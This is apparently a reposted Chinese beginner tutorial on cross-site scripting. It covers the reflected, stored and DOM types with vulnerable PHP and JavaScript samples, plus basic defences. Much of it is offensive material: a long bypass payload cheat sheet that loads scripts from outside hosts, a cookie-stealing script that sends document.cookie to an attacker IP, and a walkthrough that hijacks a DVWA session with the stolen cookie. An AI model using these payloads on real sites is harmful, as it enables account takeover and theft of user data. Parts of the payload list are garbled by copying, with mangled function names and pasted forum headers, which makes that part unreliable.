从零开始学安全 | XSS (跨站脚本) 漏洞

admin 2023年3月8日09:39:26评论154 views字数 15780阅读52分36秒阅读模式

从零开始学安全 | XSS (跨站脚本) 漏洞

什么是XSS漏洞

XSS(Cross Site Scripting)跨站脚本,较合适的方式应该叫做跨站脚本攻击,诞生于1996年,人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS

XSS的出现场景

恶意攻击者往Web页面里插入恶意javaScript代码,当用户浏览该网页时,嵌入在其中的javaScript代码会被执行,从而达到恶意攻击用户的目的。要知道XSS攻击主要针对的是用户层面的攻击

XSS的类型

  • 反射型(非持久型)

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发漏洞

  • 存储型(持久型)

payload被存储到数据库内,每次只要访问就可以被触发

  • DOM型

DOM型XSS漏洞是基于文档对象模型Document Object Model的一种漏洞

XSS是怎么形成的

由于程序员在编写代码时,未对用户输入的数据进行处理、或者处理不当

从而导致恶意payload代码被执行,简单来说是对非预期输入的过分信任

XSS有什么危害

从零开始学安全 | XSS (跨站脚本) 漏洞

钓鱼欺骗

网站挂马

身份盗用

盗取网站用户信息

垃圾信息发送

劫持用户Web行为

XSS蠕虫

我们可以提前知道,存储型的XSS危害最大
因为他存储在服务器端,所以不需要我们和被攻击者有任何接触
只要被攻击者访问了该页面就会遭受攻击
而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL
需要我们和用户有直接或者间接的接触
比如利用社会工程学或者利用在其他网页挂马的方式

XSS漏洞挖掘

总体来说就一句话,见框就插,但是一定要注意闭合标签

尤其存储型XSS,如果不闭合有可能把站点的功能点搞坏

常见的地方如下:

1、搜索框
2、URL地址栏
3、留言板
4、登录处

说白了就是各种输入输出点的地方都是我们值得关注的地方

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

-  URL的每一个参数
- URL本身
- 表单
- 搜索框
- 常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等 针对型:站内信、网页即时通讯、私信、意见反馈 存在风险:搜索框、当前目录、图片属性等

白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手

PHP中常见的接收参数的方式有$GET$POST$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计

XSS 防御的总体思路

控制脚本注入的语法要素

比如:JavaScript离不开:“<”、“>”、“(”、“);”...等等,我们只需要在输入或输出时对其进行字符过滤或转义处理就即可。一般我们会采用转义的方式来处理,转义字符是会使用到HTML的原始码,因为原始码是可以被浏览器直接识别的,所以使用起来非常方便。允许可输入的字符串长度限制也可以一定程度上控制脚本注入。

所有的过滤、检测、限制等策略

建议在Web Server那一端去完成,而不是使用客户端的JavaScript或者VBScript去做简单的检查。因为真正的攻击者可以绕过你精心设计制作的客户端进行过滤、检测或限制手段。

出于全面的考虑,决定直接在后台进行过滤

XSS防御的总体思路

对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为**黑名单过滤白名单过滤**

黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。

白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );

阻止攻击者利用在被攻击网站上发布跨站攻击语句

不可以信任用户提交的任何内容 ,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

Cookie 防盗

首先避免直接在cookie 中泄露用户隐私,例如email、密码等等。其次通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放

尽量采用POST 而非GET 提交表单

POST 操作不可能绕开javascript 的使用

这会给攻击者增加难度,减少可利用的跨站漏洞

严格检查refer

检查http refer 是否来自预料中的url。这可以阻止第2 类攻击手法发起的http 请求,也能防止大部分第1 类攻击手法,除非正好在特权操作的引用页上种了跨站访问

将单步流程改为多步,在多步流程中引入效验码

多步流程中每一步都产生一个验证码作为hidden 表单元素嵌在中间页面,下一步操作时这个验证码被提交到服务器,服务器检查这个验证码是否匹配

首先这为第1 类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2 类攻击中是几乎无法做到的

引入用户交互

简单的一个看图识数可以堵住几乎所有的非预期特权操作。

  1. 只在允许anonymous 访问的地方使用动态的javascript
  2. 对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等可疑操作

内部管理网站的问题

很多时候,内部管理网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS 攻击毫无抵抗力,需要多加注意。安全问题需要长期的关注,从来不是一锤子买卖。XSS 攻击相对其他攻击手段更加隐蔽和多变,和业务流程、代码实现都有关系,不存在什么一劳永逸的解决方案。此外,面对XSS,往往要牺牲产品的便利性才能保证完全的安全,如何在安全和便利之间平衡也是一件需要考虑的事情。

反射型XSS

从零开始学安全 | XSS (跨站脚本) 漏洞

反射型XSS(非持久化)

需要欺骗用户自己去点击链接才能触发XSS代码

(服务器中没有这样的页面和内容)

打个比方

蔡徐坤经常浏览某个网站,此网站为小黑子所拥有

小黑子的站点需要蔡徐坤使用用户名/密码进行登录

并存储了蔡徐坤敏感信息(比如鸡脚信息)

ikun发现小黑子的站点存在反射性的XSS漏洞

ikun编写了一个包含恶意代码的URL,并利用各种手段诱使蔡徐坤点击

蔡徐坤在登录到小黑子的站点后,浏览了 ikun 提供的URL

然后嵌入到URL中的恶意脚本在蔡徐坤的浏览器中执行

此脚本盗窃敏感信息(cookie、帐号信息等信息)

然后在蔡徐坤完全不知情的情况下将这些信息发送给小黑子

ikun利用获取到的cookie就可以以蔡徐坤的身份登录小黑子的站点

如果脚本的功更强大的话

ikun还可以对蔡徐坤的浏览器做控制并进一步利用漏洞控制

源代码分析

//前端 1.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>

//后端 1.php
<?php
$name=$_POST["name"];
echo $name;
?>

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理


所以,我们可以在输入框中提交数据:

<script>alert('鸡你太美')</script> 
<script>alert(666)</script>

看看会有什么反应


小小长度限制不妨碍我当F12黑客(删掉就好)


页面直接弹出了鸡你太美的页面,可以看到我们插入的语句已经被页面执行了

这就是最基本的反射型的XSS漏洞

这种漏洞数据流向是: 前端-->后端-->前端

存储型XSS

从零开始学安全 | XSS (跨站脚本) 漏洞

存储型XSS (持久化)

代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie

再举个例子

顶针 拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。

芝士雪豹 检测到 顶针的站点存在存储型的XSS漏洞。

芝士雪豹 在 顶针 的网站上发布一个带有恶意脚本的热点信息

该热点信息存储在了 顶针 的服务器的数据库中

然后吸引其它用户来阅读该热点信息。

顶针 或者是任何的其他人如 蔡徐坤 浏览该信息之后

芝士雪豹 的恶意脚本就会执行

芝士雪豹 的恶意脚本执行后

芝士雪豹 就可以对浏览器该页面的用户发动一起XSS攻击

源代码分析

//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID:<input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");

$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>

//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>

这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中

然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户

XSS代码就这样被执行了

我们输入

<script>alert("sb")</script>

提交了之后


我们看看数据库


可以看到,我们的XSS语句已经插入到数据库中了

浏览器在访问该页面的时,恶意代码会从数据库字段里取出这条记录

没有经过任何处理就直接输出弹窗显示

然后当其他用户访问页面时,我们插入的XSS代码就执行了

存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端

DOM型XSS

数据流不经过后端

DOM型XSS是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞

DOM型XSS是通过url传入参数去控制触发的,其实也属于反射型XSS

这是一些经常出现的DOM XSS语句

document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性

DOM  全称 Document Object Model

是一个平台和语言都中立的接口

可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式

DOM 型 XSS 其实是一种特殊类型的反射型 XSS

它是基于 DOM 文档对象模型的一种漏洞

在网站页面中有许多页面的元素

当页面到达浏览器时浏览器会为页面

创建一个顶级的Document object文档对象,接着生成各个子文档对象

每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件

可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素


也就是说

客户端的脚本程序可以通过DOM 来动态修改页面内容

从客户端获取 DOM 中的数据并在本地执行

基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用

值得一提的是

DOM 型XSS程序中,只有HTML代码

DOM 通过操作 HTML 或者 CSS 来实现 HTML的属性、方法、事件

因此程序中没有与服务器进行交互

实例分析


如图,我们在body体中传入参数12的值,点击按钮时

会调用 domxss()函数,我们跟踪 domxss()函数

源代码

<div id="xssd_main">
<script>
function domxss()
{
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">

</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>

输入的字符串,被拼接到了一个a标签当中

判断此处是否有xss漏洞,与之前思路一样

先确认输入点,输入就是input也就是输入框

输出的话DOM是纯前端操作,输出也是前端输出

该过程没有经过后端,完全是在前端完成的

所以,我们就可以在我们输入的参数上做手脚了

我们还是输入一个弹窗

' onclick="alert('xss')">

或者把a标签闭合,且嵌入一个弹窗

`#' onclick="alert(666)">

这就是DOM型XSS漏洞

这种漏洞数据流向是: 前端-->浏览器

XSS的攻击载荷

<script>标签:

<script>标签是最直接的XSS有效载荷

脚本标记可以引用外部的JavaScript代码

也可以将代码插入脚本标记中

<script src=http://xxx.com/xss.js></script>  #引用外部的js文件
<script> alert("sb")</script> #弹出sb
<script>alert(document.cookie)</script> #弹出cookie

<img>标签:

<img  src=1  onerror=alert("hack")>
<img src=1 onerror=alert(/hack/)>
<img src=1 onerror=alert(document.cookie)> #弹出cookie
<img src=1 onerror=alert(123)>
注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="'javascript:alert('XSS'')">
<img lowsrc="'javascript:alert('XSS'')">

<body>标签:

可以使用onload属性或其他更加模糊的属性(如属性)

在标记内部传递XSS有效内容background

<body onload=alert("XSS")>
<body background="javascript:alert("XSS")">

<iframe>标签:

<iframe>标签允许另一个HTML网页的嵌入到父页面

IFrame可以包含JavaScript,但是,请注意由于浏览器的内容安全策略(CSP)

iFrame中的JavaScript无法访问父页面的DOM

然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段

<iframe src=”http://evil.com/xss.html”>

<input>标签:

在某些浏览器中,如果标记的type属性<input>设置为image

则可以对其进行操作以嵌入脚本

<input type="image" src="'javascript:alert('XSS'');">

<link>标签:

<link>标签,这是经常被用来连接外部的样式表可以包含的脚本

<link rel="stylesheet" href="'javascript:alert('XSS'');">

<table>标签

可以利用和标签的background属性来引用脚本而不是图像

<table background="'javascript:alert('XSS'')">
<td background="'javascript:alert('XSS'')">

<div>标签

<div>标签,类似于<table><td>标签也可以指定一个背景

因此嵌入的脚本

<div style="background-image: url('javascript:alert('XSS''))">
<div style="width: expression(alert('XSS'));">

<object>标签:

<object>标签可用于从外部站点脚本包含

<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

XSS可以插在哪里

  • 用户输入作为script标签内容
  • 用户输入作为HTML注释内容
  • 用户输入作为HTML标签的属性名
  • 用户输入作为HTML标签的属性值
  • 用户输入作为HTML标签的名字
  • 直接插入到CSS里

最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!

#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></
div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></
div><script>alert('hack')</script><div a="x"></div>

#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS漏洞部分Payload

<script>alert(1)</script>
<svg onload=alert(1)>
<a href='javascript:alert(1)'>aa</a>
<script>alert('sb')</script>
<svgonload=prompt(1);>
<body onload=prompt(1);>
<a onclick=alert(1)>M
<img/src/onerror=alert(1)>
<img src=x onerror=alert('1')>
<marquee/onstart=confirm(1)>
<a href="javascript:alert('1')">link</a>
<button/Onclick=alert(1)>M
<audio src=1 onloadstart=alert(1)>
<iframe/onload=alert(1)></iframe>
<iframe src=javascript:alert(1)>
<video/src/onerror=prompt(1);>
<input/onfocus="alert('1')"/autofocus/>

(1)普通的 XSS JavaScript 注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG 标签XSS 使用JavaScript 命令

<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG 标签无分号无引号

<IMG SRC='javascript:alert('XSS'')> (4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>

(5)HTML 编码(必须有分号)

<IMG SRC=javascript:alert("XSS")>

(6)修正缺陷 IMG 标签

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(7)formCharCode 标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> (8)UTF-8 的Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7 位的UTF-8 的Unicode 编码是没有分号的(计算器)

<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将 Javascript 分开

<IMG SRC="jav ascript:alert('XSS');">

(12)嵌入式编码标签,将 Javascript 分开


<IMG SRC="jav ascript:alert('XSS');">

(13)嵌入式换行符

<IMG SRC="jav ascript:alert('XSS');">

(14)嵌入式回车

<IMG SRC="jav ascript:alert('XSS');">

(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子

<IMG SRC="'javascript:alert('XSS'')">

(16)解决限制字符(要求同页面)

<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s cript>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>

(17)空 字 符 12-7-1 T00LS - Powered by Discuz! Board https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=javascript:alert("XSS")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用perl -e 'print "<SCRIPT>alert("XSS")</SCRIPT>";' > out
(19)Spaces 和meta 前的 IMG 标签

<IMG SRC=" 'javascript:alert('XSS'');"> (20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT> (21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")> (22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(23)双开括号

<<SCRIPT>alert("XSS");//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记 2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的 HTML/JavaScript XSS

<IMG SRC="'javascript:alert('XSS'')"

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

(29)换码过滤的 JavaScript

";alert('XSS');//

(30)结束 Title 标签

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

(31)Input Image

<INPUT SRC="'javascript:alert('XSS'');"> (32)BODY Image
<BODY BACKGROUND="'javascript:alert('XSS'')">

(33)BODY 标签

<BODY('XSS')>

(34)IMG Dynsrc

<IMG DYNSRC="'javascript:alert('XSS'')"> (35)IMG Lowsrc
<IMG LOWSRC="'javascript:alert('XSS'')"> (36)BGSOUND
<BGSOUND SRC="'javascript:alert('XSS'');"> (37)STYLE sheet
<LINK REL="stylesheet" HREF="'javascript:alert('XSS'');">

(38)远程样式表

<LINK REL="stylesheet" HREF="http://3w.org/xss.css"> (39)List-style-image(列表式)
<STYLE>li {list-style-image: url("'javascript:alert('XSS'')");}</STYLE><UL><LI>XSS (40)IMG VBscript

<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS

(41)META 链接url

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL='javascript:alert('XSS'');"> (42)Iframe
<IFRAME SRC="'javascript:alert('XSS'');"></IFRAME>


(43)Frame

<FRAMESET><FRAME SRC="'javascript:alert('XSS'');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!

Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6


(44)Table

<TABLE BACKGROUND="'javascript:alert('XSS'')"> (45)TD
<TABLE><TD BACKGROUND="'javascript:alert('XSS'')"> (46)DIV background-image
<DIV STYLE="background-image: url('javascript:alert('XSS''))">

(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE="background-image: url('javascript:alert('XSS''))"> (48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">

(49)STYLE 属性分拆表达

<IMG STYLE="xss:expression_r(alert('XSS'))">

(50)匿名 STYLE(组成:开角号和一个字母开头)

<XSS STYLE="xss:expression_r(alert('XSS'))"> (51)STYLE background-image
<STYLE>.XSS{background-image:url("'javascript:alert('XSS'')");}</STYLE><ACLASS=XSS></A> (52)IMG STYLE 方式
exppression(alert("XSS"))'> (53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("'javascript:alert('XSS'')")}</STYLE> (54)BASE
<BASE HREF="'javascript:alert('XSS'');//">

(55)EMBED 标签,你可以嵌入FLASH,其中包涵 XSS

<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>

(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码a="get";b="URL("";c="javascript:";d="alert('XSS');")";eval_r(a+b+c+d); (57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>


(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用

<SCRIPT SRC=""></SCRIPT>

(59)IMG 嵌入式命令,可执行任意命令

<IMG SRC="http://www.a.com/a.php?a=b">

(60)IMG 嵌入式命令(a.jpg 在同服务器)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤

<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT> (62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT> (63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT> (64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT> (65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT> (66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>

(68)URL 绕行

<A HREF="http://127.0.0.1/">XSS</A>

(69)URL 编码

<A HREF="http://3w.org">XSS</A>

(70)IP 十进制

<A HREF="http://3232235521″>XSS</A>

(71)IP 十六进制

<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP 八进制

<A HREF="http://0300.0250.0000.0001″>XSS</A>

(73)混合编码

<A HREF="http://6 6.000146.0×7.147/"">XSS</A>

(74)节省[http:]

<A HREF="//www.google.com/">XSS</A>

(75)节省[www]

<A HREF="http://google.com/">XSS</A>

(76)绝对点绝对 DNS

<A HREF="http://www.google.com./">XSS</A>

(77)javascript 链接

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

实际挖过程中,会遇到各种状况

因此要灵活使用前面学到的JS事件和一些标签去自行构造payload

学习手工盗取Cookie值

XSS漏洞能够通过构造恶意的XSS语句实现很多功能

其中最常用的时,构造XSS恶意代码获取对方浏览器的 cookie值

在Kali中构造一个JS脚本文件

并在 kali 里面用python打开 一个小型 web 服务

python -m http.server 4444


xss.js文件源码

var img=document.createElement("img"); 
img.src="http://192.168.112.128:666?cookie="+escape(document.cookie);
document.body.appendChild(img);

将其插入存在XSS漏洞的地方

<script src="http://192.168.112.128:666/xss.js"></script> 

我们就可以获取到登录用的Cookie值


?cookie=PHPSESSID%3Drmmljcm1phllhd0b677750ets6 

当发现存在 XSS漏洞时,如果只是弹出信息窗口

这样只能证明存在一个 XSS漏洞

想再进一步深入的话,就必须学会加载XSS攻击 payload

同时加载 payload 也要考虑到语句的长度,语句是越短越好

因为有的插入语句的长度会被限制

常见的加载攻击语句有

<script src="http://IP/xss.js"></script>

引号可以去掉

11<script src=http://IP/xss.js></script>

可以变成

<script src=//IP/xss.js></script>  

这种格式如果网站是 http 会自动加载

如果网站是 https 会自动变成 https

加载远程攻击的 paylod

常见的标准 payload

注意网站采用的协议

<script src="https://IP/xss.js"></script>

<script src="https://IP/xss.js"></script>

自动选择协议用这种

<script src=//IP/xss.js></script>

图片创建加载连接

<img src='' onerror=document.body.appendChild(document.createElement('script')).src='//IP/xss. js'>

字符并接

这种一般是输入的字符有限制的时候使用

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script>

<script>z=z+' src=ht'</script>

<script>z=z+'tp://www.'</script>

<script>z=z+'xsstools'</script>

<script>z=z+'.com/a'</script>

<script>z=z+'mER></sc'</script>

<script>z=z+'ript>")'</script>

<script>eval(z)</script>

有的情况要用/**/注释不需要的代码。

jquery 加载

<script>$.getScript("//https://IP/xss.js");</script>

搭建XSS漏洞利用平台

XSS漏洞利用平台,集合了XSS攻击的多种方法

很方便快捷的利用XSS漏洞的生成攻击代码


推荐安装蓝莲花的这款XSS平台

安装过程可以自行百度

利用 XSS平台盗取 cookie 越权登录

如果获取的 cookie 是后台管理员登录的认证 cookie

替换 cookie 即可登录后台。

dvwa 存储型 xss 漏洞为例


生成Payload


<script src="http://192.168.31.231/xssme/myjs/copyright.js"></script>

成功拿到cookie值


利用cookie登录

用户名:smithy 密码:password 登录 DVWA

抓包修改cookie值


放包后执行可以达到一个越权的目的

security=low; PHPSESSID=gvedf571mvdjc1174j3qgpvhe0

修改cookie值



原文始发于微信公众号(猫因的安全):从零开始学安全 | XSS (跨站脚本) 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日09:39:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从零开始学安全 | XSS (跨站脚本) 漏洞https://cn-sec.com/archives/1245894.html

发表评论

匿名网友 填写信息